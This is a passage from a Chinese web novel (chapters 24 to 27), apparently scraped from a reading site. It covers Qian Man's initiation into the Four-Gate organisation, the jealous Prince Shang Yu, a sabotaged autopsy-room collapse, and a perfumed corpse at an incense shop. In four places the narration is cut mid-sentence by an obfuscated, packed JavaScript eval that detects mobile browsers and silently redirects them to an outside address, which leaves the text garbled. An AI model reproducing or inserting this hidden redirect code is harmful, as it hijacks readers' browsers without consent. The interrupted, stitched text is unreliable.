“祖宗显灵啊!”钱明月喜极而泣,紧紧抱住女儿,“娘就知道你一定行!一级甲等啊!我家阿满真有出息!” 一旁的刘楚玉此刻也只是长长叹了口气,反对的话再也说不出口,看到母女两人这般高兴,他也忙着吩咐厨房加菜去了。 - 璇珂宫。 亥时已过,往日这个时辰商钰都已经入睡了,但今天他有些睡不着,屏退了左右侍从,一个人翻箱倒柜。 地板上,床榻上,堆满了样式不一,色彩华丽的服饰,商钰已经不停地试穿了一个时辰了。 看着铜镜中的自己,容颜昳丽无双,眉目如画,肌肤胜雪,俊美两字实在不足以形容自己的美貌,这一点商钰是有自信的。 他的父君周榕曾经荣冠后宫,他的容貌自小在一众皇子皇女里也是最出众的,只可惜身子骨弱些。 但此刻,商钰看着镜中的自己,却怎么也无法将注意力集中在自己的脸上。 “长得可俊美了……”唐素那句话,如同魔咒一般,在他脑海里反复回响。 钱满……她真的觉得还有男人比他好看? 不行,他咽不下这口气。 明天就是四重门的入门仪式,他必须去凑个热闹。 而且,他要以最完美的姿态出现在钱满面前,他要让她看清楚,谁才是这京城中最耀眼的存在,谁才是那个无人能及的人! 这个念头一旦升起,就像燎原的野火,瞬间烧掉了他所有的犹豫和矜持。 商钰心里痛快了,开始认真地搭配衣服和配饰。 这件玄色暗纹的,太沉闷;那件月白绣金的,又显轻浮;还有这件宝蓝镶边的,不够隆重…… 他一件件拿起,又一件件扔开,眉头越皱越紧,之前他从未如此在意过自己的外表,更确切地说,他从未怀疑过自己的外表。 身为皇子,生来便拥有最优越的一切,他习惯了别人的赞美和仰视,从未想过有一天,会因为钱满,因为一个不知从哪里冒出来的“俊美”男人,而对着镜子、对着满柜华服,生出这种近乎恐慌的焦虑。 接近子夜,商钰才勉强搭配出一身穿着,其实就是他一开始拿出来的那一套……果然,人一开始看中的东西,到了最后还是很喜欢。 24. 第 24 章 四重门这么纳新虽然动作迅速程序简单,但却比之前高调许多,除了给每个合格的成员送发了名录,还在正院公告处张贴了大榜,榜单上面是录取成员的名字和成绩。 钱满的名字和一级甲等的成绩十分夺目。 榜单前面挤满了人,不时地发出一阵阵惊叹和议论声。 “一级甲等?多少年没出过一级甲等了?” “钱满?是那个钱家的钱满?” “哪个钱家?哦……是那个钱家啊,难怪……” “听说她之前就在行人房做事,还参与了七皇子那个案子……” “啧,走了大运了吧。” 各种声音混杂在一起,羡慕、嫉妒、猜测、不屑,像无数细小的针,扎在空气里。 钱满站在人群外围,听着这些议论,脸上没什么表情,心里却像是被投入了一颗石子,荡开了一圈圈涟漪。 一级甲等,这个结果连她自己都觉得有些意外。意外之余,是发自内心的……爽。 管她是不是走了狗屎运,反正榜单贴在这儿,红榜金字,一级甲等,钱满。 不服? 憋着! 钱满没有在榜单前久留,今天是她的入门仪式,还有正事要做。 流程并不复杂,拿着名录到报到处确认之后,就有人带着她去备品处领取服饰和装备。 发放物品的是个面无表情的中年女人,动作麻利,话不多。 “姓名。” “钱满。” 女人在一张册子上勾了一下,然后从身后的架子上取下两套叠得叠放整齐的衣物和一个长条形的布包。 “常服,便服,各一套,每半年可以申请领新。腰牌,谨慎保管随身携带,遗失不补。”女人将东西推到钱满面前,语气平淡无波。 遗失不补?这么牛? 钱满下意识地问了一句:“那丢了怎么办?” 女人看傻子一般看了她一眼,“下一位!” 钱满:“……” 走出备品处,钱满低头看着手中的衣物。制服是深灰色的,布料厚实,带着一股浆洗过的味道,款式简单,没有任何多余的装饰,只在左胸口用银线绣着一个不易察觉的四重门徽记——四道层叠的门扉。 钱满掂量了一下,分量不轻,然后是那个布包,钱满打开,里面是一把刀。 刀身不长,比她之前用的解剖刀略长一些,刀鞘是普通的鲨鱼皮,刀柄是暗沉的木质,没有任何纹饰。 她抽出刀身,寒光一闪,刀刃锋利,但刀身上却布满了细微的划痕,像是经历过无数次的打磨和使用,刀尖甚至微微有些磨损,透着一股子饱经风霜的沧桑感。 原来这就是入门级别的水刀。 钱满握着刀柄,冰凉的触感顺着掌心蔓延开来,心里忽然有种奇异的感觉。这把看似破旧的刀,仿佛蕴含着一种力量,一种属于四重门的,神秘而又冷硬的力量,仿佛这不仅仅是一把工具,更像是一种身份的象征,一种无声的宣告。 拿着制服和水刀,钱满站在四重门古老而肃穆的庭院里,抬头望着高耸的门楼和飞檐,阳光被切割成斑驳的光影,落在她身上。 钱满隐约感受到这个组织的庞大、神秘和无处不在的威严。 这里藏着太多的秘密,也流动着看不见的暗流。 兴奋和期待之中,一丝隐隐的压力也悄然滋生,钱满知道,从今天起,她要真正融入这个世界了。 正要往外走,就看到对面走来两个熟悉的身影。 “钱满!” 是洪灿,她身边还站着面无表情的莫柠。 “恭喜你啊!一级甲等!钱满你真是太厉害了!” “谢谢。”钱满应了一声,“我只是运气比较好而已。” 一旁的莫柠有些不服气地看着钱满,眼神中带着不屑。 但洪灿浑然不觉身边人的情绪,依然兴奋地说:“我就知道你肯定行!那天考试我就觉得你不一般。” 钱满注意到莫柠的神态,心里了然。 这个一级甲等,恐怕在不少人看来名不副实。她没解释什么,淡淡道:“快去领装备吧,一会儿要去正堂参加仪式。” 洪灿挺高兴,“嗯嗯,一会见。” - 入门仪式简单而庄重。 地点设在四重门正院的正厅,厅内光线略暗,气氛肃穆。此次纳新考核通过的人不多,加上钱满也只有寥寥数人,都穿着崭新的灰色制服,神色激动地站成一排。 宋沐风站在主位前,他今天没有穿平日里那身飘逸的白衣,而是换上了一套墨色的劲装,长发用一根简单的玉簪束起,露出了光洁的额头。 有那么一瞬间,钱满有种错觉,觉得这个人有种雌雄难辨的气质。 他脸上依旧带着淡然冷峻的表情,但眼神却比平时随和很多。宋沐风身边站着几个组的组长和副组长分列两侧,神情各异。 钱满注意到陆青杨和郭诗语也在,她们的目光在她身上短暂停留,眼神躲闪随即移开,一副心虚又头疼的样子。 钱满心里不由得嘀咕,这俩人怎么这种眼神看着自己?前阵子在壶流河边她说话是冲了一些,但也就是逞逞口舌之快了,不至于几句话就结仇了吧? 仪式很快进入正题。 一个身着白衣的女子主持,念诵了四重门的门规和誓词。钱满跟着众人一起宣誓,声音不高,但每个字都清晰地传入耳中,刻入心里。 接下来是宋沐风给新成员训诫。 “诸位有缘进入四重门,以后就要担得起肩上的责任,大界万千,纷扰繁复,入了重门,便是新生。” 钱满:“……”新老板文采不错,就是她没听太懂,听着有点儿像PUA。 最后,是授刀环节。 按照惯例,新入门的弟子由各组组长来授刀,但今天,宋沐风却亲自走了下来。 她走到钱满面前,接过钱满的水刀,手法娴熟地给她装备在腰间。 虽然宋沐风什么也没有说,但钱满能感觉到她的目光,仿佛X射线一般在自己身上来回扫射了好几遍。 和钱满一起参加仪式的一共有二十多个人,宋沐风没有厚此薄彼,给她们一一亲自装备水刀,这一环节结束之后,她又重新回到了正厅主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330283|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座前面。 “从现在起,你们就是四重门的人了,当守心持正,不负此刀。” 宋沐风的声音很轻,却仿佛带着千钧之力,敲打在钱满的心上,这一刻,她真切地感受到了自己与这个组织的联系,也感受到了肩上无形的重量。 仪式结束,新成员被获准休沐一天,从明天开始就要正式当值,钱满正想着回家好好休息一下,可刚走出四重门没多远,就又遇到商钰了。 钱满眼前一亮。 今天的商钰与之前有些不一样。 淡紫色带着浅金色暗纹的外袍尽显矜贵华丽,发髻的形式也有了变化,更重要的是他头上带了首饰。 要是在原来的世界,有男子这般打扮,钱满一定会一脸嫌弃,但现在看着盛装打扮的商钰却也只有瞪眼的份。 长得美穿什么都是对的。 只是,下一刻商钰笑着说:“钱满,你穿这身衣服真像一只大耗子!哈哈哈哈哈哈!” 虽然笑声很清脆,但这话语真的刺耳。 钱满闭了闭眼睛,默默收回了刚才心里对商钰的欣赏和赞美,长得好看有个屁用,一张嘴就能毒死满大街的人。 她现在可是真正四重门的人了,什么死对头活祖宗都不重要了,她惹不起躲得起! 只是,商钰似乎是预判了钱满的动作,在她想要逃跑之前就抓住了她的手腕。 钱满有些震惊,这看着小弱鸡一样的身板,竟然力气不小,她竟然挣脱不了。 四重门前面虽然不至于人来人往,但进进出出的人也不少,钱满可不想这里被当猴耍。 “殿下!”钱满压低了声音,“你到底要做什么?” 商钰似乎又加重了力道,看着钱满憋红的脸庞,他满意了,“我要你陪我去茗香居!” 钱满还没搭语,就听到商钰又说,“不许拒绝,这是本宫的旨意,你必须去!” 钱满放弃了挣扎,反正茗香居的茶确实好喝,去就去,也不吃亏。 “好,你先松手。” 商钰满意地松了手,就听到他打了个响指,不远处的一辆马车就缓缓过来了。 “上车。” 钱满稀里糊涂地上了马车,看着对面商钰得意的神情,她后知后觉地反应过来,这画面太熟悉了! 她大概明白是怎么回事了。 昨天自己上了一个陌生男子马车的事情,商钰大概是知道了。 其实钱满早就看出来了,商钰这小孩是个好孩子,哪里是什么死对头呢?明明是商钰对原主有意,而原主是块木头罢了。 而她……钱满有些五味杂陈,她是不想在这个世界有什么感情纠葛的,尤其是对象还是个皇子,她何德何能啊,这份爱意她未必承受得起。 既然这样,那就不能给他任何机会了。 就只能继续保持死对头的人设了。 马车行驶速度不快,商钰以为自己计划得逞并没有注意到钱满接下来的行动,只是钱满低估了原主这副身体的重量,跳下马车的时候差点摔倒。 “殿下,对不住啊。”钱满一边跑一边说:“我有些内急,告辞!” 25. 第 25 章 025石头 钱满拔腿就跑,身后商钰气急败坏的呼喊声很快被街道上的人声淹没。 但她还是觉得不安全,脚步不敢松懈,拼尽了力气一口气冲回了家。 钱家一家人知道今天是钱满入门的大日子,已经在家等候多时,就连平日里一向踪迹不定的黑猫今天也老老实实在家呆了一天。 钱明月看她跑得气喘吁吁,还以为出了什么事,连忙迎上来:“阿满,怎么了这是?出什么事了?” “没……没事,”钱满摆摆手,扶着门框喘气,“就是……太高兴了,所以跑快了点。” 她总不能说自己是半路从七皇子的马车上跳下来逃跑的吧。 “你这孩子,慢点儿,”钱明月嗔怪道,“穿上了这身制服,以后说话做事都要稳重些。” 钱明月一脸喜色,刘楚玉却还是一脸担忧。 他来到钱满身边,上下打量了好大一会儿,长长地叹了口气。 “阿满,”刘楚玉上前拉住她的手,声音有些哽咽,“你说说你,非要进这个四重门做什么,这身衣服一点儿都不好看!” 钱明月有些无奈地看着自家夫郎:“夫君,这身装备只是水刀组的低级配备,等到咱们小满能力提升之后,就不是这样的了。” 刘楚玉心里还是不痛快,“那也不好看!要我说还是想穿什么就穿什么好……” 钱满笑着安慰刘楚玉,“父亲,我又不是只能穿四重门的服饰,不当值的时候我就穿父亲给我准备的!” “那当然,”刘楚玉心情缓和了一些,“回头让锦霓堂给你做几身新衣裳。” 钱满点了点头没有拒绝,原主的那些衣衫都是灰突突的颜色,她正好不喜欢。 晚饭时,钱明月让厨房加了菜,钱满吃得有些撑了,不得不说,这大虞的伙食比她原来单位食堂好太多了。 饭毕,钱满正想着回自己院子好好看看那把水刀,就听到下人过来通报,说是刘家主来了。 刘楚玉和钱明月都有些意外,连忙带着孩子们起身相迎。 很快,刘云清和她的夫郎张云帆一前一后走了进来。 刘云清一身暗紫色锦袍,面容保养得宜,眼神锐利,自带一股威严气势。她身后的张云帆今天穿着浅色素衫,头上也没有多余的饰品,手里抱着一个木头匣子,两人只带了两个小侍,似乎是临时赶过来的。 “祖母,祖父。”钱满起身行礼。 “不必多礼。”刘云清摆了摆手,目光落在钱满身上打量了几眼,“原本打算明天过来的,你祖父有些等不及,要亲自把东西给你。” 钱满有些茫然地看看钱明月和刘楚玉,她们两个也是一脸惊讶的表情。 刘楚玉看着自己父亲手里的匣子,道:“爹,这东西是给小满的?” 张云帆点点头,把东西交到了钱满手中,说:“这东西,原本是明月准备的,只不过……不过现在小满用得上也不算浪费。” 钱明月闭了闭眼睛,眼巴巴地看着那个木匣子,她有些尴尬地笑了,“父亲说的是,是我不才,能力不足,不过现在好了,小满这次的考核成绩是一级甲等,这可是几十年来的最好成绩。” 张云帆没有搭茬,只是淡淡地看了钱明月一眼。 刘云清:“能拿到一级甲等,着实不容易,但这只是一个开始,入了四重门,行事要更加谨慎,这里面的东西,或许能用得上。” “多谢祖母。” “一家人,不必客气。”刘云清端起茶杯,“往后在四重门,若遇到难处,可派人告知于我。” 送走刘家主一家之后,钱满迫不及待地想着打开盒子看看到底是什么东西。 谁知费了半天力气,那个木头匣子却纹丝不动。钱满这才注意到,这个盒子看起来就像是一整块木头,沉甸甸的的,严丝合缝,完全找不到可以打开的位置。 钱满正准备找个斧头劈开,被钱明月阻止了。 “万万使不得!”钱明月叹了口气,“……看来是时机未到。” 钱满不解:“这,到底是什么?” 钱明月看着这个熟悉的木头匣子,感慨道:“你祖母祖父也曾经把这个东西给过我,但是我经过五年的努力也没有打开这个盒子……阿满啊,能不能打开这个盒子,就看你的缘分了。” 钱满:“……” - 次日一早,母女俩用餐之后,准备一起去上值,现在钱满已经是二组的组员,上值的地点自然不在行人房了,到了四重门,钱明月忍不住多嘱咐了几句。 “陆青杨那个人是个直肠子火爆脾气,但人不错,郭诗语嘛,是审理司苏诚的侄女,她说话不要只听表面,总之你要记住,初来乍到少说多做,与大家处好关系。” 处好关系? 钱满一想到之前与陆青杨之间的冲突,她预感这关系恐怕不太好“处”。 二组的办公地点,在中院的东厢房,进入院子前,钱满整理了一下那身被商钰嘲笑为“大耗子”的灰色制服,摸摸那把沉甸甸的水刀,深吸一口气,走了进去。 院子内部比她想象的还要大,廊庑相连,到处都是行色匆匆、面色冷峻的人。每个人都穿着相似的制服,腰间佩戴着不同样式的刀具,空气中弥漫着一种无形的紧张和肃穆。 钱满推门进去时,屋里已经有几个人了,正是昨天见过的洪灿和莫柠,还有另外两个不认识的女官,年纪稍长,正在低头整理卷宗。 原来她们俩也分到了二组。 “钱满,你来啦!”洪灿看到她,立刻热情地打招呼,脸上带着真诚的笑意。 “早。”钱满点点头,目光扫过其他人。 莫柠依旧是那副冷冰冰的样子,瞥了她一眼就低下头去,假装忙碌。另外两个女官则只是抬头看了她一眼,没什么表情,又继续埋头做事。 一种微妙的隔阂感,像一层看不见的薄膜,将钱满挡在了外面。 钱满也没太在意,找了个空位坐下,想着该从哪里开始入手。她看到桌上堆着不少卷宗,便想拿起来看看,熟悉一下近期的案子。 “不要乱动,那些是归档的旧案,”一个声音冷不丁地响起,“新来的,先从整理旧案和熟悉验尸房开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是两人虽然躲过头顶坍塌的重物,但验尸房的入口却被跌落的木头和石块堵死了,她们想要出去,恐怕要费一番周折。 更何况她的腿好像被石块压着了。 商钰被钱满抱得死死的,等他反应过来,整个人身体都在颤抖,脸红透了,只是这昏暗的地下室,钱满看不到他的脸色。 “嘶~”钱满艰难地想要挪动自己,但没有成功,她无力地闭了闭眼睛,“殿下,麻烦您动一动~” 商钰觉得自己的脸更加热了,他刚刚被钱满保护得很好,但他有些贪恋这个温暖的怀抱,直到钱满出声,他才意识到钱满可能受伤了。 “……你别死啊,钱满!”商钰声音带着哭腔,“我以后不骂你了,你不能死!” 钱满哭笑不得,“……放心,死不了,你想骂就骂,不过,现行麻烦殿下帮忙半开那块石头吧。” 商钰抹了一把眼泪,语气又恶劣起来,“哼,你让我骂我还不骂了,我凭什么听你的?哎,不对,这石头不是这里的!” 26. 第 26 章 “这石头不是这里的!”商钰的声音带着一种不同寻常的震惊,“啊,钱满你的腿流了好多血,是断掉了吗?” 钱满忍着腿上传来的剧痛,偏头去看商钰指着的那块压在她小腿上的石块,灰白色,边缘锐利,犹如开刃的刀片,这东西与周围散落的青砖、朽木格格不入。 这地下验尸房年久失修,多是砖木结构,哪里来的这种石料? 显而易见,这起验尸房坍塌事故是人为的。 这犹如刀刃的石块如果是掉落在脖颈,恐怕她就没命了。 但此刻钱满心里闪过另一个更可怕的念头,这背后之人如果事先知道商钰会来呢?那么他们真正的目的就不仅仅是让她出事,而是让商钰出事。 “钱满,钱满!”商钰的声音带着哭腔,“你说话啊,你别吓我……我,我以后不骂你了……” “殿下,”钱满忍着剧痛,缓缓开口,“我没事,死不了……先想办法出去。” 但还没能商钰接话,就听到外面传来一阵凌乱的脚步声,钱满来不及多想一把拿过钱满手中的石头又放到了自己腿上。 “按我说的做,”钱满压低了声音,“一会儿不管谁来了,你就拿着石头砸我,骂我,总之要让他们真的以为我们是死对头!” 商钰面露惊讶:“……” 但他没再多问,轻轻点点头。 果然,没过多久,堵住门口的废墟外传来了嘈杂的人声和搬动石块的声音。 “里面有人吗?”是陆青杨的声音。 钱满看了商钰一眼,示意商钰开始表演。 商钰拿起了石块,深吸一口气,演别的他不会,死对头嘛,他演了十多年了。 “钱满,你这个两面三刀的丑八怪,今天落到了本宫的手里还有什么好狡辩的!” 钱满闭了闭眼睛:“……” 商钰接着骂:“你闭眼睛是什么意思?想死?不行!本宫不许,我还只是砸了你的腿,我还要砸开你的脑壳!” 钱满忍不住打了个颤栗,砸脑壳,小东西,你也太暴力了吧。 她压低声音,用只有两人能听到的气声说:“殿下,倒也不比如此残忍……” 温热的气息扑打在商钰的耳边,他稍稍后退了一些,占满尘土的脸上带了一丝可疑的红色。 “哼!”商钰继续大声骂,“谁让你不知好歹!我不但要砸开你的脑壳,我还要让云云吸干你的脑髓……” 钱满:“……” 陆青杨和郭诗语碰面之后,得知钱满被派到了验尸房,两人虽然事先没有通气,但在这件事上的默契还是有的。 这个地下验尸房年久失修,是四重门废弃已久的地方,郭诗语的目的显而易见,但是房子突然坍塌是两人没有想到的。 听到巨响之后,两人不敢耽误就赶紧过来了。 给新人一个下马威谁也不会说什么,但要是出了人命就不好交代了,毕竟钱满是宋沐风亲点的一级甲等。 “快!把这块木头搬开!” “殿下在里面!小心!” “有人受伤了……” 入口完全被堵死了,陆青杨叫了三四个人,清理了差不多一刻钟才把口部清理出来。 陆青杨第一个探头进来,紧随其后的是郭诗语,还有几个二组的几个组员。 她们看到的景象是——钱满狼狈地半躺在地上,左腿鲜血淋漓,而七皇子商钰正双手举着一块石头,满脸怒容,正要砸下去。 “钱满!你这个扫把星!都是你害的!”商钰的声音带着哭腔和愤怒,“要不是你,我怎么会到这种破地方来!腿断了也是你活该!” “殿下!”陆青杨大惊,冲进来想阻止。 郭诗语站在入口处,没有动,脸上带着恰到好处的担忧。 “是郭副组长让我来的!”钱满也配合着喊,脸上是痛苦和愤怒交织的表情,“你讲不讲道理!哎哟,疼死我了~~” “跟你这种人讲什么道理!”商钰手里的石头“砰”一声落在钱满腿边,离她的伤处只有几寸距离,他像是气力不支,又像是故意吓唬她。 陆青杨连忙上前,将商钰拉开,又把压在钱满腿上的石头挪开。 “殿下息怒,殿下息怒。” 商钰长长地出了一口气,拍拍手上的尘土,“陆副组长,郭副组长,我倒是想问问你们,组员不好好当值,来到这个废弃之地做什么?” 郭诗语早就想好了说辞,她一脸无辜,“……我是说让钱满到验尸房熟悉一下,但谁知道她走错了路。” 好一个倒打一耙。 但此刻腿上的剧痛已经让钱满无暇辩解,她有些无力地看了郭诗语一眼,又看看陆青杨,脑袋一歪假装晕了过去。 四重门不乏医术高手,一组组长黄新月闻讯赶来,给钱满搭脉片刻,便露出微笑,“没有大碍,小钱大概是吓着了。” 钱满实在装不下去了,哼了一声,睁开了眼睛。 “没有伤及筋骨,静养几日即可。”黄新月又给钱满仔细检查了一下伤腿,从怀中掏出一个白色的小瓶子,“这个丸药,一日一粒,睡前服用。” 上班第一天就喜提瘸腿体验,钱满也因此被获准休假三日。 无所事事,钱满想了很多,她觉得自己还真是大意了,之前商钰提醒的没错,四重门还真是一个危机重重的地方。 那个郭诗语,看似处处周到,实则绵里藏针。这次意外,就算不全是是她安排,她也是祸首,至于陆青杨,从她现场的表现来看,倒像是真的不知情。 但这个人也不是什么好货,她纵容就是帮凶。 看来,自己那个一级甲等的成绩碍了某些人的眼,又或者,与之前七皇子的案子有关。 钱满习惯了冷静分析,越是身处困境,头脑越格外清晰。当务之急是站稳脚跟,提升实力,同时,暗中查清真相。 看着自己的腿,钱满有些后怕,但同时也觉得庆幸,还好砸伤的是她,要是砸到了商钰……那么完美的腿上就要留下疤痕了。 黄秋月的丸药效用很好,钱明月说这是四重门的内部秘药,可遇不可求,钱满恢复得很快,到了第二日,基本上行动无碍了。 伤好了,自然还得继续做牛马,钱满收拾好自己,第三天就来到了中院。 陆青杨和郭诗语办公的地方是东厢房边上一个独立的耳房,钱满是从后院来的,要想去东厢房,必经之路是耳房边上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360446|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通道。 房间里的两人大概是也没想到钱满会提前过来,说话的音量也没有控制,木窗根本不隔音,两人的对话钱满听了个清楚。 陆青杨:“石头的事情,是你安排的?” 郭诗语正在慢条斯理地擦拭自己的佩刀,轻笑一声:“石头?什么石头?你说砸到钱满的砖石啊,那不就是验尸房坍塌下来的?” 陆青杨也没有多问,反正钱满也没有大碍,这事情也只能稀里糊涂处理了。她一向看不惯郭诗语,如果郭诗语要对付钱满的话,她做个壁上观也没什么不好。 只是这件事又牵涉到了七皇子,她心里有些七上八下的。 “……也是,就是没想到那么巧,七皇子竟然也在。” 郭诗语又笑了一下:“陆副组长,你觉得七皇子无缘无故跑到废弃的验尸房是巧合?还是房梁偏偏在他进去的时候塌了是巧合?” 陆青杨不说话了。 郭诗语将佩刀插回鞘中,“这位钱满,本事如何我不知道,惹麻烦的本事倒是不小。刚来第一天又得罪了七皇子,以后的路,难走喽。” 陆青杨:“所以呢?” 郭诗语压低了声音:“所以,咱们可不能对她太好了,不然你让七皇子怎么办?” 钱满:“……”我谢谢你们! 接下来的日子,钱满真真切切感受到了“不能对她太好”。 虽然陆青杨和郭诗语没有再明面刁难,但也没给她好脸色,组长们如此,下面的组员也都是看人脸色的,除了洪灿时不时地跟钱满说几句话,其她的人都把钱满当做了空气。 钱满也不在意,一头扎进卷宗里。这些旧案记录着四重门过往处理的各种离奇事件,正好可以让她快速了解这个组织的运作方式和历史。 或许可以从之前的案子查出蛛丝马迹呢。 功夫不负有心人,还真让她给找到了。 钱满查到了一桩三年前的旧案,根据卷宗记载,里面就牵涉到了“七蕊凝香”。 次日休沐,钱满再次来了到了云深香坊。 自从上次钱满在这儿甩了一千两银票,薛清对她的态度就俨然是自己人了,她这次来就是想问问三年前旧案的一些细节。 刚走进大厅,就听到一个温和的声音,“钱姑娘也对香料有兴趣?” 钱满抬头,看到了林知优。 他今天穿着一身月白色的常服,手里拿着一把折扇,笑意盈盈。 “林公子。”钱满点头示意,“这个……是家父喜欢,我路过这里就来看看。” 林知优的视线落在她走路时还有些微不自然的腿上:“姑娘的腿……可是前几日四重门那场意外所致?” 消息传得真快。 钱满不动声色:“小伤,不碍事。” “那便好。”林知优像是松了口气,“今日巧遇,不知姑娘可有空闲?附近新开了一家茶馆,据说点心不错。” 他语气自然,带着恰到好处的热络和一丝不易察觉的试探。 钱满看着他带笑的眼睛,心里转过几个念头。这个林知优,出现得总是很“巧”,他对四重门的事情似乎也颇为关注。 是敌是友,就看他怎么演了。 27. 第 27 章 然而,钱满今天运气不好,茶到底还是没有喝成。 薛清刚从后堂走出来,跟钱满打了招呼,准备引她们到楼上包间的时候,一个店员慌慌张张地跑过来。 虽然那人在薛清耳边用了极低的声音,但钱满却听得清清楚楚,她的听力似乎又进化了不少。 那人说:后堂制香房的库房内发现了一具尸体。 按理说一般的案子不用四重门出面,但既然赶上了,钱满觉得自己有必要去看看现场。 钱满拿出了腰牌,“薛掌柜,带路吧。” 腰牌上面赫然印着四重门的标志,薛清自然认得,他脸色发白愣了片刻,“……请跟我来。” 云深香坊的布局和这条街道上的许多店铺都大同小异,也是前店后院模式,前面是两层的店铺,后院是一个紧凑的四合院,左右厢房是制香的所在,后院正房是工人和店员居住的地方。 出事的地点在东厢房的库房,那里面都是一些稀有的原材料,平日里这些材料都装在樟木箱子了,有专人看管,一般人接触不到。 今天制作香料正好用到一种稀有材料,负责看管的人打开箱子差点晕过去,一箱子的原材不翼而飞,里面多了一具腐败的尸体。 钱满没有靠的太近,即便是掩住口鼻,尸体发出的奇异香味还是扑面而来,尸体腐败成这样,少说也有十天八天的,但竟然没有腐臭味道。 这香味……有点儿熟悉。 钱满吸了吸鼻子,仔细回忆着,没错,她不会认错的,这味道就是她曾经在商钰的身上闻到过的,只不过商钰那时候的味道比这个要淡很多。 钱满屏住呼吸,拿出自己的刀,轻轻地划开了脖颈下方一处皮肤,更加浓重的香味散发出来。 是七蕊凝香。 从这个味道的浓重可以初步判断,这个用量恐怕比商钰那次多了十倍不止。 “薛掌柜,报案吧,派人去四重门报案。” 薛清一脸茫然,“……报案?” 说实话,薛清一万个不愿意,店里偶尔死一个倒霉蛋儿不是什么稀奇事,偷偷弄出去埋了就是了,如果报案,那有人在店里暴毙的事情就瞒不住了。 他们这个店做的都是贵族大家的生意,店里出了这样的事情,生意还怎么做? 再说了,就算是报案也不至于去四重门吧? 钱满看了薛清一眼,大概猜到了他的疑虑。 “这个人体内含有大量的七蕊凝香。”钱满一边擦刀一边说,“这与之前七皇子一案极为相似,你想隐瞒此事,你有几个脑袋?这是你能担得起的责任吗?” 薛清吓得哆嗦了一下,“……好,好,我这让人去——” 薛清的话还没说完,就听到外面又是一阵嘈杂。 陆青杨的声音传了过来:“四重门办案,闲杂人等回避!你,拿扇子的那个!说的就是你,到外面去,你不能到后院!” 林知优收起扇子,笑着摇摇头,冲着不远处的钱满挥挥手,转身走了。 钱满一看,陆青杨带了三个人,除了洪灿和莫柠还有一个老组员,钱满记得这个人,个子不高身材微胖,叫许唐, 钱满之所以对这人有印象,是因为这人至始至终对自己没有过一个眼神,没有表情,比如现行,几乎是面对面的距离,许唐也似乎是没有看到钱满一般。 这与莫柠的漠视不一样,莫柠对她的眼神充满不屑和厌恶,而许唐则是完全无视了钱满。 陆青杨大概没想到钱满也会在这里,她原本是想着看看组里的这两位新人水平如何,现在看到钱满她改变了主意。 “钱满,你去进行初步处理。洪灿莫柠协助。” 初步处理这种活,一般都要由有经验的老手来做,也是为了避免新人因为经验不足破坏现场,陆青杨带许唐一起来也是这个打算,但她现在要钱满动手,身边的几个人都愣了,但很快也明白过来。 陆青杨:“钱满入门考核的成绩优异,是一级甲等,大家要向她学请教学习!” 又来了,拿一级甲等说事。 看来,一次验尸房坍塌还不够,但陆青杨这个提议她很满意,她还不想把这个机会给别人呢,只是她今天原本是休沐,手里出了一把刀之外,再无其他工具。 砰! 钱满正犯愁呢,就听到重物砸地的声音,一个铁皮箱子落在了她的脚下。 许唐的声音像个冰冷没有情感的机器人:“工具。” 钱满:“多谢。” 许唐看都没看她,转身后退了一步,继续在陆青杨身后做背景板。 钱满打开铁皮箱子,里面的器具挺齐全,她取出防护服、手套、面罩,一一穿戴整齐。 一旁的陆青杨和许唐都多看了几眼,大概是没想到钱满第一次穿戴四重门的这些装备会动作这么娴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377630|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟。 穿戴整齐的钱满迅速进入了工作状态,面罩遮住了口鼻,只露出一双眼睛。 周围的声音静下来,所有人都看着她。 樟木箱子的密封效果很好,尸水一点儿没有渗透,这也让泡在尸水里的尸体气味更加浓重,但有了上次处理河边腐尸的经验,钱满觉得这种腐败程度已经是小儿科了。 随着钱满的动作,七蕊凝香的味道更加浓郁,几乎充斥了整个验尸房。 钱满这一次没有用四重门配发的水刀,她还是习惯用自己的那一把解剖刀,两把刀尺寸几乎一样,钱满又把自己的刀也做了一个和水刀相似的黑色手柄,这样在一般人看来,她用的就是配发的刀具。 剥去衣物,女尸的颈部露了出来,。钱满的动作停顿了一下。 颈部皮肤呈现出一种不正常的青紫色,这是明显的缢痕。 但是缢痕下方却有一些诡异的鼓包,鼓包的颜色有些发蓝。 